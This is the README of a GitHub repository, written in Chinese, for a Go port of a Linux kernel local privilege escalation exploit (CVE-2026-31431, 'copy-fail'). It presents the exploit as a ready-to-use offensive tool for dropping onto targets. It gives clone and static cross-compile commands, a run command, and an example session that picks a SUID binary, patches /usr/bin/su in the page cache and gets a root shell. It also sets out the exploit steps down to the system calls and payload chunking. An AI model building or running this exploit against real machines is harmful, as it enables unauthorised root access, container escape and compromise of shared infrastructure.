3jee/copy-fail-go

GitHub: 3jee/copy-fail-go

Go语言移植的CVE-2026-31431本地提权PoC,利用Linux内核AF_ALG加密接口的页缓存写入缺陷,实现从普通用户到root的权限提升,支持自动枚举SUID目标并编译为无依赖的静态二进制。

Stars: 1 | Forks: 0

# copy-fail-go [grenkoca](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df) 的 **CVE-2026-31431** (copy-fail) Python PoC 的 Go 移植版。 该版本可编译为一个完全静态的二进制文件,零运行时依赖——不需要 Python、pip,也没有 libc 版本限制。将它丢到任何 Linux 目标主机上即可运行。它还会自动枚举目标主机上所有全局可读的 SUID 二进制文件,并允许你以交互方式选择要利用的目标。 ## 什么是 CVE-2026-31431 (copy-fail)? 由 **Theori** 发现并于 **2026 年 4 月 29 日** 公开披露,Copy.Fail 是 Linux 内核的 `algif_aead` 加密模块中由于 **2017 年的一次优化** 而引入的一个逻辑缺陷。自 2017 年以来,它影响了所有主流 Linux 发行版。 通过操纵内核的 AF_ALG 加密接口,无特权攻击者可以将受控数据直接写入 Linux **页缓存**——即可信系统二进制文件在内存中的表示。这允许临时劫持像 `/usr/bin/su` 这样的二进制文件,**而无需修改磁盘上的文件**,从而使基于磁盘的取证无法察觉该攻击。 与许多依赖竞态条件或内核地址泄露的 LPE 漏洞不同,Copy.Fail 具有极高的可靠性,并且只需一个普通用户账户即可稳定触发。 **影响:** - 普通用户 → 任何受影响系统的 root 权限 - 容器逃逸至宿主机 - CI/CD 任务获取其运行器的 root 权限 - 共享/多租户基础设施中的租户遭到相互入侵 - 无磁盘文件修改(规避完整性检查) **受影响的内核:** 自 2017 年以来的所有发行版。有关具体的版本范围,请参见 [grenkoca 的原始 PoC](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df)。 ## 与原始 Python PoC 的区别 | | 原版 | 本仓库 | |---|---|---| | 语言 | Python 3 | Go 1.21+ | | 目标 | 硬编码 `/usr/bin/su` | 从实时文件系统扫描中自动检测 | | 目标选择 | 无 | 交互式编号菜单 | | 分发形式 | 脚本 | 单个静态二进制文件(无运行时依赖) | ## 要求 - 处于受影响版本范围内的 Linux 内核 - 目标上存在全局可读的 SUID 二进制文件(工具会自动发现它们) - 运行无需特殊权限 ### 构建依赖(在你的构建机器上) | 工具 | 版本 | |------|---------| | Go | 1.21+ | ## 构建 ### 原生 Linux 构建 ``` git clone https://github.com/3jee/copy-fail-go cd copy-fail-go go build -o copy-fail . ``` ### 从 macOS 或 Windows 交叉编译(目标平台为 Linux x86-64) ``` GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail . ``` `-s -w` 标志用于剥离调试信息以减小二进制文件体积。`CGO_ENABLED=0` 会生成一个无 libc 依赖的完全静态二进制文件——无论 glibc 版本如何,都可以直接丢到任何 Linux 目标上运行。 ### 其他架构 | 目标 | 命令 | |--------|---------| | Linux ARM64 | `GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail .` | | Linux 32位 x86 | `GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail .` | ## 用法 将二进制文件传输到目标并执行(无需 root 权限): ``` ./copy-fail ``` 示例会话: ``` CVE-2026-31431 (copy-fail) - Go PoC Based on grenkoca's original PoC Scanning for SUID world-readable binaries... SUID world-readable binaries found: ------------------------------------ [1] /usr/bin/su [2] /usr/bin/sudo [3] /usr/bin/passwd [4] /usr/bin/newgrp Select target [1-4]: 1 [*] Targeting: /usr/bin/su [*] Writing 48 bytes to /usr/bin/su... [+] Write complete. Executing target... # whoami root ``` ## 工作原理 1. 使用 `O_RDONLY` 打开目标 SUID 二进制文件——无需写入权限。 2. 创建一个绑定到 `authencesn(hmac(sha256),cbc(aes))` AEAD 转换的 `AF_ALG` (`SOCK_SEQPACKET`) 套接字。 3. 发送一个带有 `MSG_MORE` 和 SOL_ALG 控制消息的精心构造的 `sendmsg`,以针对目标文件的页缓存条目排队一个加密操作。 4. 使用 `splice(2)` 将页面从文件移动到 ALG 套接字,触发易受攻击的内核路径,该路径会写回修改后的页缓存页面,而无需重新检查文件权限。 5. 对 payload 的每个 4 字节块重复此操作。 6. 执行已被修改的二进制文件。 ## 致谢 - **grenkoca** - [原始 Python PoC](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df) - **Theori** - 漏洞发现 - 本仓库是一个带有自动目标枚举功能的、非压缩的 Go 移植版 ## 参考 - [OVHcloud: Copy.Fail - 如何快速保护 MKS 集群免受 Linux 内核零日漏洞影响](https://blog.ovhcloud.com/copy-fail-cve-2026-31431-how-to-rapidly-protect-ovhcloud-mks-clusters-from-the-linux-kernel-zero-day/) - [grenkoca 的原始 Python PoC (gist)](https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df)
标签:AF_ALG, algif_aead, copy-fail, CSV导出, CVE-2026-31431, EVTX分析, Go语言, Linux内核漏洞, LPE, PoC, SUID, Web报告查看器, 二进制利用, 内存篡改, 协议分析, 容器逃逸, 数据展示, 日志审计, 暴力破解, 本地提权, 权限提升, 程序破解, 红队, 网络安全, 隐私保护, 静态编译, 页面缓存